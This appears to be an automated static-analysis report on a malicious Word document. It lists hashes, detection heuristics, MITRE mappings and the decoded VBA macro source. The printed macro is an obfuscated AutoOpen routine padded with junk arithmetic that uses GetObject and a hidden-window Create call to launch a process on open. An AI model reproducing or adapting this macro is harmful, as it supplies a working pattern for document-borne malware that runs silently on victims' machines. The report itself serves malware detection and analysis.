Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bf28478fb24d460…

MALICIOUS

Office (OLE)

156.2 KB Created: 2019-03-21 19:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 6f5dcc5f8af0294af4f145448241ccc2 SHA-1: 5a379d43a6030e26bdef7e81ad73731012b21901 SHA-256: 9bf28478fb24d4604f4d2af36e834cd4a98b9b2bf12e9eb3648f26556e3b412d
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. The macro utilizes a GetObject call, a common technique for executing arbitrary code or downloading payloads. The presence of legacy WordBasic auto-exec markers and the ClamAV detection further indicate malicious intent. The VBA script is heavily obfuscated, making it difficult to determine the exact payload or destination, hence the 'unknown family' classification.

Heuristics 7

  • ClamAV: Doc.Malware.Dsdu-6905405-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dsdu-6905405-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12497 bytes
SHA-256: 769f1f010a6c9c664422459f2ed0d85c3bf85f735eb649126c536b48059a9847
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "V_AQxA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "QXBAAA"
Attribute VB_Base = "0{232B3040-6D07-46B7-8AEA-9D06B39D66BE}{2F1EA1D3-2399-4010-BF69-5157FE5CC004}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "oC4B4A"
Sub autoopen()
On Error Resume Next
   If LQkACU = FBAAA_AQ Then
   w4XkGAC = (207318623)
   FU_A4A = (A14QUGAQ * CInt(407771253 _
+ Atn(222480772 * oAQDQAA)) + RUABxAAD + CDbl(L1kAAc - Sqr(bDkUAk / _
CBool(955581245 / 287618393) + SwDkDA - Rnd(sCUCAAA))) * 115001129 * 886426616)
   U1DDxUxA = (939469626)
End If
   If VBxQQc = h4BABw Then
   qU14Ao = (281614625)
   HXoZBcA = (txxwDk * CInt(148996833 _
+ Atn(435203762 * ABAwAD)) + hZAQBA + CDbl(pAAAAA1 - Sqr(YABAA_A / _
CBool(944893507 / 60178560) + FcBACoAA - Rnd(XAAUADQ))) * 146479080 * 568305737)
   Ro4X1x = (489054753)
End If
   If SAwDwU = TUkwAcC Then
   UDAUwA = (545227970)
   LAUAoZ = (PABBCCU * CInt(676242049 _
+ Atn(2004818 * GxAxcD)) + wokcGBx + CDbl(uAZ4CBU - Sqr(cAAAUw / _
CBool(25682111 / 541253005) + d1UAAA - Rnd(JAAAAAC))) * 783889166 * 759727341)
   IACoGQc = (321608616)
End If
Set zo4BBcGA = GetObject(Z__ZACZ + QXBAAA.i4xkAXUA + tAAcxoGA)
   If sXDADkk = kQ_AU__ Then
   d_AGCA = (288765909)
   UB1QUQ_ = (uADAZGG * CInt(6970405 _
+ Atn(137712537 * nDDDAwC4)) + BoDAA1 + CDbl(ICCXc4 - Sqr(QCAxCAAQ / _
CBool(735086908 / 300383593) + aX4oDwoA - Rnd(oU_Bc1A))) * 564481517 * 130008187)
   LocAA1DA = (549184604)
End If
   If pZGwAowG = JxXAcC Then
   YAGQkAo = (114579851)
   bAABAXD1 = (Xo_AoXUw * CInt(829280736 _
+ Atn(859915205 * V4AZAx)) + R1ABAUB4 + CDbl(MUAUk4 - Sqr(vAXG1BA / _
CBool(414967801 / 842908985) + qADAQ4AU - Rnd(ZADQAAQ_))) * 720686101 * 492679830)
   Vk_BGx = (317047363)
End If
   If NAwDUAAA = TQxBX1oC Then
   XQwDBk = (823700352)
   kABAcDQ = (OwDDBAQA * CInt(153520158 _
+ Atn(939920494 * QXwQ1Z)) + p4Aokk + CDbl(sAQUAAG4 - Sqr(JAQACow / _
CBool(214387552 / 382535454) + HGBwAx - Rnd(Kc__AA))) * 102946009 * 167549854)
   NZABA1 = (119247067)
End If
zo4BBcGA.ShowWindow = 298336 - 298336
   If o1QG4cQ = uD1AAcX Then
   WBwkAXUo = (399550076)
   LUCUA1 = (UA4_Ak * CInt(81554373 _
+ Atn(842863109 * fDAwAU)) + hBACUB + CDbl(UXkoAA - Sqr(vABD1x / _
CBool(653588024 / 352182117) + ocwxAAAx - Rnd(iA_xxAU))) * 881236961 * 720215043)
   zAA1Bo = (152773677)
End If
   If PDcBBAA = ockBZQBB Then
   BQQxAAAC = (723241726)
   iUAAGXAU = (rDAUc4D1 * CInt(727216091 _
+ Atn(526127557 * RkBQDA)) + lXXAk1 + CDbl(rB1ok1X - Sqr(PAAAAcQ / _
CBool(444628792 / 429440776) + nABDQG - Rnd(IX4UABA))) * 144383498 * 239351901)
   BAAAAA = (608721218)
End If
GetObject(W1GCBQ + QXBAAA.N_BDAoG + JDAAQAAU). _
Create@ DXBQA1A + QXBAAA.dxxQBQZA + nAAAAA_ + QXBAAA.RAAwQQ + vAADQUAQ + QXBAAA.zADUcAQA + UAADwkAo, ZD41XACA, zo4BBcGA, WDQBQU
   If EAADBZA = GACU1Ak Then
   aAwDA4_A = (496748349)
   wCUAAAxc = (JcAQAcA * CInt(242897286 _
+ Atn(402902910 * wABwwx)) + uQxAAQX + CDbl(wckkoUAA - Sqr(ZAADDCA / _
CBool(950826652 / 896583089) + K1QDAoXA - Rnd(NAC1AXAD))) * 657129219 * 241113497)
   YxcA_AwB = (584162951)
End If
   If zBGkU4 = uUXBBwAA Then
   iAACAA = (260027090)
   kc14BAo = (iAQQAA4 * CInt(167038775 _
+ Atn(674351520 * mAA_xUG)) + FAoBA4 + CDbl(FA1cABB - Sqr(pAcDBAB / _
CBool(294797125 / 604420666) + rBB4Ao_A - Rnd(bBUxAxUB))) * 411144586 * 392351117)
   TAUDGQ = (867134419)
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/8fb5ae5fedc04c0e888d92c41ffbf226.bin
' ===============================================================================
' Module streams:
' Macros/VBA/V_AQxA - 1104 bytes
' Macros/VBA/QXBAAA - 1157 bytes
' Macros/VBA/oC4B4A - 579
... (truncated)

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